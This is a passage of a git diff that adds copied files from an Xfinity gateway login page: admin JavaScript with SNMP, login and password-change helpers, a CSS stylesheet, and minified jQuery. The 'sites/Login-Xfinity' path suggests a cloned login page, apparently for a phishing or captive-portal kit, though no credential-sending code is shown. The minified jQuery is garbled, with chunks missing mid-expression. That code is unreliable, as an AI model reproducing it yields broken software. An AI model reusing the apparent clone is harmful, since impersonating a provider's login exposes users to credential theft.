beforeClose:function () { + return canCloseWaitDialog; + } + }); + prepareDialog("wait-dialog"); + $("#wait-dialog").dialog("open"); + } + + function closeWaitDialog() { + busyDialogNeeded = false; + canCloseWaitDialog = true; + $("#wait-dialog").dialog("close"); + } + + function start() { + if (applyNeeded) + snmpSet1Async(arApplyAllSettings.oid + ".0", "1", "2", applyDone); + else applyDone(true); + } + + function applyDone(ok) { + if (rebootNeeded) + snmpSet1Async(arReboot.oid + ".0", "1", "2", rebootDone); + else rebootDone(true); + } + + function rebootDone(ok) { + closeWaitDialog(); + if (refreshNeeded) + refresh(); + } + + setTimeout(openWaitDialog, 2); + start(); +} + + +// sa [ string... ] +function snmpGet(sa) { + try { + var url = hooks.buildGetURL(sa); + var rv = ""; + baseAjax({ + url:url, + timeout:9000, + success:function (result) { + rv = result; + }, + error:function (jqXHR, textStatus, errorThrown) { + logout(false); + rv = "unauthorized"; + window.location.href="index.php"; + return; + }, + dataType:"json", + async:false, + cache:false + + }); + rv = hooks.postProcess(rv); + //$.log(rv); + if (window.console) console.log(rv); + return rv; + } catch (e) { + //$.log("snmpGet caught " + e); + if (window.console) console.log("snmpGet caught " + e); + return { }; + } +} + +// sa [ string... ] +function snmpMultiGet(sa) { + try { + var url = hooks.buildMultiGetURL(sa); + var rv = ""; + baseAjax({ + url:url, + timeout:9000, + success:function (result) { + rv = result; + }, + error:function (jqXHR, textStatus, errorThrown) { + logout(false); + rv = "unauthorized"; + window.location.href="index.php"; + return; + }, + dataType:"json", + async:false, + cache:false + + }); + rv = hooks.postProcess(rv); + //$.log(rv); + if (window.console) console.log(rv); + return rv; + } catch (e) { + //$.log("snmpGet caught " + e); + if (window.console) console.log("snmpGet caught " + e); + return { }; + } +} + +// sa [ string... ] + +function snmpWalk(sa) { + try { + var url = hooks.buildWalkURL(sa); + var rv = ""; + baseAjax({ + url:url, + timeout:9000, + success:function (result) { + rv = result; + // _.each(_.keys(rv), function(k) { + // var dv = encodeHack(rv[k]); + // rv[k] = dv; + // }); + }, + error:function (jqXHR, textStatus, errorThrown) { + logout(false); + rv = "unauthorized"; + window.location.href="index.php"; + return; + }, + dataType:"json", + async:false, + cache:false + + }); + //$.log(rv); + if (window.console) console.log(rv); + rv = hooks.postProcess(rv); + return rv; + } catch (e) { + //$.log("snmpWalk caught " + e); + if (window.console) console.log("snmpWalk caught " + e); + return { }; + } +} + + +// sa [ string... ] + +function snmpMultiWalk(sa) { + try { + var url = hooks.buildMultiWalkURL(sa); + var rv = ""; + baseAjax({ + url:url, + success:function (result) { + rv = result; + // _.each(_.keys(rv), function(k) { + // var dv = encodeHack(rv[k]); + // rv[k] = dv; + // }); + }, + error:function (jqXHR, textStatus, errorThrown) { + logout(false); + rv = textStatus;//"unauthorized"; + }, + dataType:"text", + async:false, + cache:false + + }); + //$.log(rv); + if (window.console) console.log(rv); + rv = hooks.postProcess(rv); + return rv; + } catch (e) { + //$.log("snmpWalk caught " + e); + if (window.console) console.log("snmpWalk caught " + e); + return { }; + } +} + +function login(name, password) { + var up = Base64.encode(name + ":" + password); + var limit_flag = false; + attrs["Credential"] = ""; + if (window.console) console.log("create credential=" + up); + eraseCookie("credential");setSessionStorage("ar_nonce",""); + baseAjax({ + url:"login?arg=" + up, + success:function (result) + { + if( result == CAN_NOT_SET_CRED ) + { + limit_flag = true; + } + else + { + createCookie("credential", result); + } + }, + dataType:"text", + async:false, + cache:false + }); + if( limit_flag == true ) + { + return CAN_NOT_SET_CRED; + } + return isLoggedIn(); +} + + +function logout(sendMsg) { + attrs["Credential"] = ""; + eraseCookie("credential"); + setSessionStorage("ar_nonce",""); + if (sendMsg) { + baseAjax({ + url:"logout", + dataType:"text", + async:false, + cache:false + }); + } + refresh(); +} +function changePassword( name ,OldPassword, NewPassword ) { + var cred = Base64.encode( name + ":" + OldPassword + ":" + NewPassword ); + var rv = ""; + baseAjax({ + url:"setPassword?arg=" + cred, + success:function (result) { + rv = result; + }, + dataType:"text", + async:false, + cache:false + }); + var ok = rv === "ok" || rv === "true"; + + // if (ok) { + // logout(); + // login(loginData.name, NewPassword); + // } + + return ok; +} + +function logfilestore(logtype, idxStr) { + + baseAjax({ + url:"storelog?arg=" + logtype + idxStr, + dataType:"text", + async:false, + cache:false + }); + + if (window.console) console.log("storelog"); +} + +function checkPassword(name, password ) { + var up = Base64.encode(name + ":" + password ); + var ret = ""; + baseAjax({ + url:"checkPassword?arg=" + up, + success:function (result) { + ret = result; + }, + dataType:"text", + async:false, + cache:false + }); + + if( ret == "true" ) + { + return true; + } + else + { + return false; + } +} + +//BEGIN PROD00219791 CSRF issue. +function getNonce() { + var n = getSessionStorage("ar_nonce"); + if (!n) { + n = "_n="+(""+Math.random()).substr(2,5); + setSessionStorage("ar_nonce", n); + } + return n; +} + +function wrapNonce(url){ + if (!url) return url; + var startChar = url.indexOf('?') === -1 ? '?' : '&'; + url += startChar + getNonce(); + return url; +} +// Notice that all new added function that call jQuery.ajax, should use baseAjax to instead it. +function baseAjax(options){ + options.url = wrapNonce(options.url); + jQuery.ajax(options); +} +// END PROD00219791 CSRF issue. + + diff --git a/sites/Login-Xfinity/Xfinity_files/common-min.css b/sites/Login-Xfinity/Xfinity_files/common-min.css new file mode 100755 index 0000000..946c2e8 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/common-min.css @@ -0,0 +1,32 @@ +html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,font,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td{border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;margin:0;padding:0;}body{line-height:1;}ol,ul{list-style:none;}blockquote,q{quotes:none;}blockquote:before,blockquote:after,q:before,q:after{content:none;}:focus{outline:0;}ins{text-decoration:none;}del{text-decoration:line-through;}table{border-collapse:collapse;border-spacing:0;}body{background-color:#5d666a;color:#5d666a;font:.8em Arial,Helvetica,sans-serif;}td,th{font:.8em Arial,Helvetica,sans-serif;vertical-align:middle;}a:link,a:visited{color:#39baf1;}a:hover,a:active{color:#000;text-decoration:none;}h1{font-size:2.2em;}#content h1{margin-left:10px;}h2{font-size:1.1em;font-weight:bold;}h3{font-size:1.2em;font-weight:bold;padding:8px;}p{line-height:1.4em;margin:.5em 0;}small{font-size:.8em;}#container{background-color:#f1f1f1;width:960px;margin:0 auto;}#footer{background:#39baf1;clear:both;color:#fff;text-align:center;padding:12px 0;margin-top:50px;overflow:hidden;}#main-content{clear:both;display:block;overflow:hidden;padding:0 20px 20px;}#content{float:left;width:850px;}#header{padding:13px 24px 0;background-color:#fff;height:75px;margin-bottom:-70px;}#logo,#logo a,#logo span{display:block;position:relative;height:30px;line-height:30px;width:92px;z-index:5;}#logo{text-indent:3px;margin-top:20px;position:absolute;}#logo span{position:absolute;z-index:15;background:url(../img/logo_xfinity.png) no-repeat 0 0;height:100%;left:0;top:0;width:100%;}.first-child{list-style:none!important;margin-left:0!important;}#footer-links{width:350px;margin:0 auto;overflow:hidden;}#footer-links li{float:left;line-height:28px;list-style:disc outside;color:#fff;margin-left:22px;font-size:1.3em;}#footer-links li a{color:#fff;text-decoration:none;}#sub-header{clear:both;height:30px;margin:0 -20px 20px;padding:20px;position:relative;width:920px;}h1{font-size:2em;padding-bottom:20px;}#userToolbar{position:absolute;right:20px;top:7px;}#userToolbar li{float:left;line-height:28px;list-style:disc;margin-left:25px;}#userToolbar .user{font-weight:bold;}#userToolbar .toolbar a{text-decoration:none;}#status{position:absolute;right:20px;top:36px;}#status li{float:left;line-height:19px;margin:0 0 0 10px;font-weight:bold;font-size:1.1em;padding-bottom:15px;position:relative;}#status li .tooltip{background-color:#fff;color:#838c91;display:none;right:-15px;padding:15px;position:absolute;top:25px;width:165px;z-index:999;-moz-box-shadow:0 0 12px 0 #e0e0e0;-webkit-box-shadow:0 0 12px #e0e0e0;}.on-off{background:#fff url(../img/icn_on_off.png) no-repeat 0 0;display:block;float:left;margin:2px 5px 0 3px;height:14px;width:15px;text-indent:-9999px;}.off .on-off{background-position:0 -26px;}.off .on-off{background-position:0 -26px;}.alert .on-off{background-position:0 -52px;}#status .battery span{background:url(../img/icn_battery.png) no-repeat 0 0;height:19px;width:9px;display:block;float:left;margin:-1px 5px 0 3px;text-indent:-9999px;}#status .battery .bat-100{background-position:0 0;}#status .battery .bat-75{background-position:0 -19px;}#status .battery .bat-50{background-position:0 -38px;}#status .battery .bat-25{background-position:0 -57px;}#status .battery .bat-10{background-position:0 -76px;}#status .battery .bat-0{background-position:0 -95px;}#nav{float:left;margin:0 20px 20px 0;position:relative;width:182px;border-top:solid 1px #dadad8;}#nav>ul>li{border-bottom:solid 1px #dadad8;}#nav>ul>li>ul>li:last-child a{border-bottom:0;}#nav li a{border-bottom:dashed 1px #dadad8;color:#575f5f;display:block;font-weight:bold;padding:8px 10px 8px 20px;text-decoration:none;}#nav li li a{color:#788180;}#nav li a.selected,#nav li a:hover{color:#39baf1;}#nav li ul{display:none;}#nav li a{padding-left:10px;}#nav li li a{padding-left:20px;}#nav li li li a{padding-left:30px;}#nav li li a.folder{background:url(../img/arrows_nav.png) no-repeat 10px -2px;}#nav li li a.folder:hover{background-position:10px -74px;}#nav li li a.folder-open{background-position:10px -38px!important;}#nav li li a.folder-open:hover{background-position:10px -110px!important;}#nav li li li a.folder{background:url(../img/arrows_nav.png) no-repeat 20px -2px;}#nav li li li a.folder:hover{background-position:20px -74px;}#nav li li li a.folder-open{background-position:20px -38px!important;}#nav li li li a.folder-open:hover{background-position:20px -110px!important;}#nav a.top-level{border:none;font-size:1.2em;background:url(../img/arrows_nav.png) no-repeat 4px 1px;padding-left:15px;}#nav a.top-level-active{background-color:#838c91;color:#fff!important;background:#838c91 url(../img/arrows_nav.png) no-repeat 4px -179px;padding-left:15px;}#educational-tip{clear:both;background:#fafafa;color:#838c91;border:solid 8px #fff;-moz-box-shadow:0 0 12px 0 #e0e0e0;-webkit-box-shadow:0 0 12px #e0e0e0;margin:0 8px 15px;position:relative;}#educational-tip h2{color:#555;font-weight:normal;font-size:.8em;margin-bottom:12px;}#educational-tip .tip{font-weight:bold;color:#838c91;}#educational-tip p{padding:8px;margin:0;width:600px;}#educational-tip .hidden{display:none;}#educational-tip a.tip-more{font-size:.8em;position:absolute;top:3px;right:6px;}.module{background:#fff;width:684px;margin:8px;padding:8px;overflow:hidden;position:relative;-moz-box-shadow:0 0 12px 0 #e0e0e0;-webkit-box-shadow:0 0 12px #e0e0e0;position:relative;}.module h2{background:#39baf1;color:#fff;padding:10px;margin-bottom:8px;}.block{width:324px;min-height:136px;display:inline-block;vertical-align:top;}.ff2{width:324px;min-height:136px;display:-moz-inline-stack!important;overflow:visible!important;}.block div.ff2fix{width:334px;position:relative;clear:both;}#home-network h2{background:#f85f01;}#internet-usage h2{background:#f85f01;}#home-automation h2{background:#f85f01;margin-bottom:0;}#network-updates h2{background:#f85f01;margin-bottom:0;}#software h2{background:#f85f01;margin-bottom:0;}#internet-usage .chart{float:right;width:185px;height:48px;border:solid 2px #ccc;background:#f9f9f9;overflow:hidden;}#internet-usage .chart li{float:left;width:16px;height:48px;margin:0 5px;text-indent:-9999px;background-color:#39BAF1;-moz-box-shadow:0 0 5px 0 #999;-webkit-box-shadow:0 0 5px #999;}#network-updates #recent_network_updates{position:relative;}#network-updates #recent_network_updates select{position:absolute;top:-26px;right:15px;}#network-updates h3 .value{color:#ef4416;}#software td{width:50%;padding:5px 6px 3px;}.form-row{clear:both;overflow:hidden;padding:8px;}.form-row .on-off{margin-right:10px;}.form-btn{margin:8px;}.module .form-btn{margin:8px 0 0;padding-left:233px;}.module .btn-group{padding:15px 0 0;min-height:23px;} +.odd,.odd +.on-off +{ + background-color:#ededed; +} +.odd1 +{ + background-color:#ededed; +} +.form-row label,.form-row .setLabel,.form-row .readonlyLabel{font-weight:bold;font-size:inherit!important;}.forms label,.forms .setLabel,.forms .readonlyLabel{display:block;float:left;font-weight:bold;line-height:1.4em;margin:4px 5px 0 0;text-align:right;width:220px;}.forms .readonlyValue{display:block;float:left;line-height:1.4em;margin:4px 5px 0 0;}.block label,.block .setLabel,.block .readonlyLabel{width:125px;}.form-row .checkbox,.form-row .group,.forms .value{display:inline;float:left;margin:4px 0 0 4px;line-height:1.4em;font-weight:bold;}#restore .value{width:435px;}.form-row label.radio,.form-row label.checkbox{float:none;display:inline;margin-left:0;padding:0 5px 0 0;text-align:left;width:auto;}.form-row .text{border:solid 1px #cecece;padding:4px 5px;}.form-row input.smallInput{width:25px;}.form-row p.error{font-size:.9em;margin:0;padding:8px 8px 8px 225px;}.select-row{clear:both;overflow:hidden;padding:8px;}.select-row .readonlyLabel{float:left;margin-right:10px;line-height:28px;font-size:1.2em;font-weight:bold;color:#333;width:120px;text-align:right;}.select-row .label{width:auto!important;}.select-row .value{float:left;line-height:40px;}.footnote{padding:8px;font-size:.8em;}.forms .footnote{padding-left:225px;float:left;}.forms .summary{padding:8px;color:#000;font-weight:bold;}.forms .combo-group li{padding:4px 0;overflow:hidden;}.combo-group li{margin:10px 0;padding:10px 5px;color:#444;overflow:hidden;-moz-border-radius:4px;-webkit-border-radius:4px;}.combo-group li p{margin-left:25px;}.combo-group li .checkbox{margin-left:225px;}.combo-group li label,.combo-group .label{font-weight:bold;}.ext-optgroup label{color:#222;font-weight:bold;font-size:1.3em;}#notification.combo-group{overflow:hidden;margin-bottom:10px;}#notification.combo-group li{float:left;padding:0 20px 0 0;margin:0;}.error{color:#F00;}.disabled{color:#ccc!important;}p.more{margin:8px 8px 0;text-align:right;}table{border-collapse:collapse;clear:both;width:100%;background-color:#ededed;}table .on-off{background-color:#ededed;}table.odd,table .odd,table .odd th,table .odd td,table.odd .on-off{background-color:#fff!important;}table thead,table th{text-align:left;font-weight:bold;}table th{font-size:1em;padding:5px 6px 3px;}table td{font-size:1em;padding:3px 4px;}.data h2{margin-bottom:0;}table.data th{background:#39baf1;color:#fff;}table th.row-label{background-color:transparent;color:#444;width:20%;border:0;}.comcast-network th.row-label{text-align:right;}table th.alt{width:inherit!important;}#home-automation table td.value{width:20px;}table .delete,table .edit{text-align:right;width:40px;}table td.delete{text-align:center!important;}table td.save{width:110px;text-align:center!important;}table.data th,table.data td{padding:8px;}table.data td.delete{width:28px;}table.data .url,table.data .keyword,table.data .when,table.data .computer_name,table.data .ip{width:45%;}table.data .number{width:15px;}table#blocked-apps .apps,table#blocked-services .services{width:50%;}table#blocked-services .when{width:30%;}table#blocked-services .port{width:10%;}table.wireless .name,table.wireless .macaddress{width:50%;}table.wireless .channel,table.wireless .protocols,table.wireless .security{width:100px;}table#email_features,table#add_allowed_device,table#samba_permissions{clear:none;float:right;margin-right:-10px;width:452px;}table#samba_permissions th{width:50%;}table#trusted_computers .computer_name,table#trusted_computers .ip{width:200px;}table#trusted_computers .trusted{width:100px;}table#add_allowed_device td{vertical-align:top;}table#add_allowed_device div.error{font-size:.9em;margin:0;padding:8px 0;}.btn,a.btn{padding:3px 10px;background:#fff url(../img/btn_bg.png) repeat-x 0 -14px;color:#555;text-decoration:none;border:solid 1px #d0d0d0;cursor:pointer;outline:0;text-transform:uppercase;font-weight:bold;font-size:11px;}a.btn{padding:4px 10px;}.btn:hover,a.btn:hover{background:#fff url(../img/btn_bg.png) repeat-x 0 bottom;color:#ffe51e;outline:0;}.alt,a.alt{background:#999;color:#fff;}.form-btn input,.form-btn a{margin-right:15px;}.btn-group{padding:15px 0;}.button{position:absolute;top:11px;right:13px;}.ff2 .button{top:2px;right:10px;}.modal-overlay{position:fixed;top:0;left:0;height:100%;width:100%;background:#000;opacity:.4;}.modal-dialog{position:fixed;top:60px;left:50%;width:200px;margin-left:-120px;padding:20px;background:#fff;}.hidden{display:none;}#login{width:375px;}#login label{width:80px;}#login div.error{padding-left:8px;}#login p.error{padding-left:90px;}#login .text{width:500px;}#login .form-btn{text-align:right;margin:0 15px 10px;}#password .form-btn{padding-left:138px;}#computers-edit label,#computers-edit .readonlyLabel{width:300px;}#time_frame,#log_type{margin-right:30px;}.ui-helper-hidden{display:none;}.ui-helper-hidden-accessible{position:absolute;left:-99999999px;}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none;}.ui-helper-clearfix:after{content:".";display:block;height:0;clear:both;visibility:hidden;}.ui-helper-clearfix{display:inline-block;}/* required comment for clearfix to work in Opera \*/ * html .ui-helper-clearfix{height:1%;}.ui-helper-clearfix{display:block;}/* end clearfix */ .ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0);}.ui-state-disabled{cursor:default!important;}.ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;}.ui-widget-overlay{position:absolute;top:0;left:0;width:100%;height:100%;}.ui-timepickr{position:absolute;width:480px;}.ui-timepickr-row{margin:0;padding:0;margin-top:2px;display:none;position:relative;}.ui-timepickr-button{float:left;margin:0;padding:0;list-style:none;list-style-type:none;}.ui-timepickr-button span{font-size:.7em;padding:4px 6px 4px 6px;margin-left:2px;text-align:center;cursor:pointer;display:block;text-align:center;font-weight:bold;border:solid 1px #222;-moz-border-radius:3px;-webkit-border-radius:3px;background:#444;color:#fff;}.ui-timepickr-button span.ui-state-hover{color:#000;background:#9CCD00;}#security-level li{margin:10px 0;padding:10px 5px;color:#444;-moz-border-radius:4px;-webkit-border-radius:4px;}#security-level .label{color:#222;font-weight:bold;font-size:1.3em;cursor:pointer;text-decoration:underline;}#security-level li p{margin-left:25px;}#security-level li dl{margin:10px 25px;}#security-level li dl dl{margin:0;}#security-level li dt{font-weight:bold;}#security-level li dd{margin:5px 25px;}#security-level li dd dd{margin:5px 0;}#security-level #max{background:#9ccd00;border:solid 5px #9ccd00;}#security-level #max:hover{border:solid 5px #759900;}#security-level #medium{background:#cde67f;border:solid 5px #cde67f;}#security-level #medium:hover{border:solid 5px #9eb362;}#security-level #low{background:#e1f0b2;border:solid 5px #e1f0b2;}#security-level #low:hover{border:solid 5px #a7b384;}#security-level #custom{background:#ebebeb;border:solid 5px #ebebeb;}#security-level #custom:hover{border:solid 5px #cecece;}#weekday{padding-left:230px;}#weekday input{margin-right:10px;}.select_all_none{font-size:.9em;margin-top:-20px;padding-left:233px;}.radio-btns li{display:inline;}.radio-btns label{display:inline;font-weight:normal;float:none;width:auto;}.radiolist{overflow:hidden;background:#9e9e9e;padding:3px 2px;float:left;}.radiolist li{float:left;margin:0 2px;width:40px;height:20px;position:relative;z-index:1;color:#888;border:solid 1px #eee;background:#eee url(../img/gradient.png) repeat-x 0 bottom;font-size:.9em;}.radiolist li label{display:block;text-align:center;line-height:20px;width:100%;height:20px;z-index:5;cursor:pointer;margin:0!important;}.radiolist li#off.selected,.radiolist li#off.selected label{background-color:#e6411a;color:#fff!important;text-shadow:0 1px 0 #9f0c00;}.radiolist li#off.selected{border:solid 1px #aa1f00;}.radiolist li.selected{background:#92c700;border:solid 1px #6da006;color:#fff;text-shadow:0 1px 1px #5a9007;}.radiolist li.selected label{font-weight:bold;}li.selected.percent-100,li.selected.percent-75,li.selected.percent-50,li.selected.percent-25{color:#444;border:solid 1px #666;text-shadow:0 1px 1px #fff!important;}li.selected.percent-100{background-color:#ffe61e;}li.selected.percent-75{background-color:#ffec56;}li.selected.percent-50{background-color:#fff28e;}li.selected.percent-25{background-color:#fff9c7;}.radiolist li input{display:none;}.radiolist li.selected a.radio-deselect{display:block!important;}.enable li,.scheduling li{width:60px;}#popup_container{min-width:300px;max-width:600px;background:#FFF;border:solid 8px #fff;color:#444;-moz-box-shadow:0 0 12px 0 #444;-webkit-box-shadow:0 0 12px #444;}#popup_title{background:#A46DD3;color:#fff;padding:10px;margin-bottom:8px;}#popup_message{font-size:1.1em;background-color:#ededed;padding:20px 10px;}#popup_panel{text-align:right;padding:8px 0 0;}#popup_panel input{margin-left:15px;}#media-library .tabs{overflow:hidden;background-color:#e0e0e0;height:24px;border:solid 4px #e0e0e0;border-bottom:0;}#media-library .tabs li{float:left;line-height:24px;font-size:.8em;}#media-library .tabs li a{padding:0 10px;border-right:solid 1px #cecece;color:#3e3e3e;font-weight:bold;text-decoration:none;}#media-library .tabs li.selected{background-color:#3e3e3e;color:#fff;}#media-library .tabs li.selected a{color:#fff;border-right:0;}#media-library .sub-tabs{background-color:#3e3e3e;color:#fff;overflow:hidden;}#media-library .sub-tabs li{float:left;line-height:28px;font-size:.8em;}#media-library .sub-tabs li a{padding:0 10px;color:#fff;font-weight:bold;text-decoration:none;}#media-library .sub-tabs li.selected a{color:#39BAF1;} + +#nav li li li a.dis_a { color:#DDDDDD; padding-left: 30px; } +#nav li li li a.dis_a:link { color:#DDDDDD; } +#nav li li li a.dis_a:visited { color:#DDDDDD; } +#nav li li li a.dis_a:hover { color:#DDDDDD; } + +#nav li li a.dis_a { color:#DDDDDD; } +#nav li li a.dis_a:link { color:#DDDDDD; } +#nav li li a.dis_a:visited { color:#DDDDDD; } +#nav li li a.dis_a:hover { color:#DDDDDD; } + +#nav a.dis-top-level{border:none;font-size:1.2em;background:url(../img/arrows_nav.png) no-repeat 4px 1px;padding-left:15px; color:#DDDDDD;} +#nav a.dis-top-level-active{background-color:#F1F1F1;color:#DDDDDD;!important;background:#838c91 url(../img/arrows_nav.png) no-repeat 4px -179px;padding-left:15px;} +#nav a.dis-top-level:link{color:#DDDDDD;} +#nav a.dis-top-level:visited{color:#DDDDDD;} +#nav a.dis-top-level:hover{color:#DDDDDD;} + +.btn_dis,a.btn_dis{padding:3px 10px;background:#fff url(../img/btn_bg.png) repeat-x 0 -14px;color:#ccc!important;text-decoration:none;border:solid 1px #d0d0d0;cursor: default;outline:0;text-transform:uppercase;font-weight:bold;font-size:11px;} +a.btn_dis{padding:4px 10px;} +.btn_dis:hover,a.btn_dis:hover{color:#ccc!important;outline:0;cursor: default;} + diff --git a/sites/Login-Xfinity/Xfinity_files/common-min.js b/sites/Login-Xfinity/Xfinity_files/common-min.js new file mode 100755 index 0000000..799fea0 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/common-min.js @@ -0,0 +1,16 @@ +/*! + * jQuery JavaScript Library v1.4.2 + * http://jquery.com/ + * + * Copyright 2010, John Resig + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * Includes Sizzle.js + * http://sizzlejs.com/ + * Copyright 2010, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * + * Date: Sat Feb 13 22:33:48 2010 -0500 + */ +(function(A,w){function ma(){if(!c.isReady){try{s.documentElement.doScroll("left")}catch(a){setTimeout(ma,1);return}c.ready()}}function Qa(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,j){var i=a.length;if(typeof b==="object"){for(var o in b)X(a,o,b[o],f,e,d);return a}if(d!==w){f=!j&&f&&c.isFunction(d);for(o=0;o)[^>]*$|^#([\w-]+)$/,Ua=/^.[^:#\[\.,]*$/,Va=/\S/,Wa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Xa=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,P=navigator.userAgent,xa=false,Q=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,R=Array.prototype.slice,ya=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(a==="body"&&!b){this.context=s;this[0]=s.body;this.selector="body";this.length=1;return this}if(typeof a==="string")if((d=Ta.exec(a))&&(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:s;if(a=Xa.exec(a))if(c.isPlainObject(b)){a=[s.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=sa([d[1]],[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}return c.merge(this,a)}else{if(b=s.getElementById(d[2])){if(b.id!==d[2])return T.find(a);this.length=1;this[0]=b}this.context=s;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=s;a=s.getElementsByTagName(a);return c.merge(this,a)}else return!b||b.jquery?(b||T).find(a):c(b).find(a);else if(c.isFunction(a))return T.ready(a);if(a.selector!==w){this.selector=a.selector;this.context=a.context}return c.makeArray(a,this)},selector:"",jquery:"1.4.2",length:0,size:function(){return this.length},toArray:function(){return R.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){var f=c();c.isArray(a)?ba.apply(f,a):c.merge(f,a);f.prevObject=this;f.context=this.context;if(b==="find")f.selector=this.selector+(this.selector?" ":"")+d;else if(b)f.selector=this.selector+"."+b+"("+d+")";return f},each:function(a,b){return c.each(this,a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(s,c);else Q&&Q.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(R.apply(this,arguments),"slice",R.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this,function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,j,i,o;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b
a";var e=d.getElementsByTagName("*"),j=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!j)){c.support={leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(j.getAttribute("style")),hrefNormalized:j.getAttribute("href")==="/a",opacity:/^0.55$/.test(j.style.opacity),cssFloat:!!j.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:s.createElement("select").appendChild(s.createElement("option")).selected,parentNode:d.removeChild(d.appendChild(s.createElement("div"))).parentNode===null,deleteExpando:true,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};b.type="text/javascript";try{b.appendChild(s.createTextNode("window."+f+"=1;"))}catch(i){}a.insertBefore(b,a.firstChild);if(A[f]){c.support.scriptEval=true;delete A[f]}try{delete b.test}catch(o){c.support.deleteExpando=false}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function k(){c.support.noCloneEvent=false;d.detachEvent("onclick",k)});d.cloneNode(true).fireEvent("onclick")}d=s.createElement("div");d.innerHTML="";a=s.createDocumentFragment();a.appendChild(d.firstChild);c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var k=s.createElement("div");k.style.width=k.style.paddingLeft="1px";s.body.appendChild(k);c.boxModel=c.support.boxModel=k.offsetWidth===2;s.body.removeChild(k).style.display="none"});a=function(k){var n=s.createElement("div");k="on"+k;var r=k in n;if(!r){n.setAttribute(k,"return;");r=typeof n[k]==="function"}return r};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=j=null}})();c.props={"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ya=0,za={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var f=a[G],e=c.cache;if(!f&&typeof b==="string"&&d===w)return null;f||(f=++Ya);if(typeof b==="object"){a[G]=f;e[f]=c.extend(true,{},b)}else if(!e[f]){a[G]=f;e[f]={}}a=e[f];if(d!==w)a[b]=d;return typeof b==="string"?a[b]:a}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{if(c.support.deleteExpando)delete a[c.expando];else a.removeAttribute&&a.removeAttribute(c.expando);delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this,a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===w){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===w&&this.length)f=c.data(this[0],a);return f===w&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this,a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===w)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return 